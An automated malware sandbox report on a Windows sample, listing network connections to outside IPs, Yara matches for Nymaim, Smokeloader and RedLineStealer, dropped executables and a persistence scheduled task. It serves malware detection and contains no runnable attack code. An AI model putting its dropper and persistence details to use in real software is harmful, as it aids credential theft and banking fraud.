Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443

Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49911 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49942 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49947 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49970 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49969 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49999 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50085 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50089 version: TLS 1.2

E-Banking Fraud

Yara detected Nymaim

Source: Yara match	File source: 15.2.adebfeb535.exe.4940e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.adebfeb535.exe.4a30000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.adebfeb535.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.adebfeb535.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.3253380575.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2581320069.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3295158061.0000000004940000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 0000000F.00000002.3295158061.0000000004940000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000F.00000002.3292535145.0000000004790000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

Binary is likely a compiled AutoIt script file

Source: b081bb79ae.exe.12.dr	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_1db64822-c
Source: b081bb79ae.exe.12.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_9a483aac-6

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: FCFBFHIEBK.exe.0.dr	Static PE information: section name:
Source: FCFBFHIEBK.exe.0.dr	Static PE information: section name: .idata
Source: FCFBFHIEBK.exe.0.dr	Static PE information: section name:
Source: skotes.exe.9.dr	Static PE information: section name:
Source: skotes.exe.9.dr	Static PE information: section name: .idata
Source: skotes.exe.9.dr	Static PE information: section name:
Source: random[2].exe0.12.dr	Static PE information: section name:
Source: random[2].exe0.12.dr	Static PE information: section name: .idata
Source: 1afc2fdbc4.exe.12.dr	Static PE information: section name:
Source: 1afc2fdbc4.exe.12.dr	Static PE information: section name: .idata
Source: random[1].exe.12.dr	Static PE information: section name:
Source: random[1].exe.12.dr	Static PE information: section name: .idata
Source: random[1].exe.12.dr	Static PE information: section name:
Source: 67d914dff5.exe.12.dr	Static PE information: section name:
Source: 67d914dff5.exe.12.dr	Static PE information: section name: .idata
Source: 67d914dff5.exe.12.dr	Static PE information: section name:
Source: random[1].exe0.12.dr	Static PE information: section name:
Source: random[1].exe0.12.dr	Static PE information: section name: .idata
Source: random[1].exe0.12.dr	Static PE information: section name:
Source: adebfeb535.exe.12.dr	Static PE information: section name:
Source: adebfeb535.exe.12.dr	Static PE information: section name: .idata
Source: adebfeb535.exe.12.dr	Static PE information: section name:
Source: random[1].exe1.12.dr	Static PE information: section name:
Source: random[1].exe1.12.dr	Static PE information: section name: .idata
Source: random[1].exe1.12.dr	Static PE information: section name:
Source: bb0adee266.exe.12.dr	Static PE information: section name:
Source: bb0adee266.exe.12.dr	Static PE information: section name: .idata
Source: bb0adee266.exe.12.dr	Static PE information: section name:
Source: random[2].exe1.12.dr	Static PE information: section name:
Source: random[2].exe1.12.dr	Static PE information: section name: .idata
Source: random[2].exe1.12.dr	Static PE information: section name:
Source: 39c228201d.exe.12.dr	Static PE information: section name:
Source: 39c228201d.exe.12.dr	Static PE information: section name: .idata
Source: 39c228201d.exe.12.dr	Static PE information: section name:
Source: random[2].exe2.12.dr	Static PE information: section name:
Source: random[2].exe2.12.dr	Static PE information: section name: .idata
Source: random[2].exe2.12.dr	Static PE information: section name:
Source: d88d6966da.exe.12.dr	Static PE information: section name:
Source: d88d6966da.exe.12.dr	Static PE information: section name: .idata
Source: d88d6966da.exe.12.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B62C0 PR_dtoa,PR_GetCurrentThread,strlen,NtFlushVirtualMemory,PR_GetCurrentThread,memcpy,memcpy,

0_2_6C6B62C0

Source: C:\Users\user\Documents\FCFBFHIEBK.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53AC60	0_2_6C53AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60AC30	0_2_6C60AC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F6C00	0_2_6C5F6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C58ECD0	0_2_6C58ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52ECC0	0_2_6C52ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FED70	0_2_6C5FED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65AD50	0_2_6C65AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B8D20	0_2_6C6B8D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BCDC0	0_2_6C6BCDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C6D90	0_2_6C5C6D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C534DB0	0_2_6C534DB0
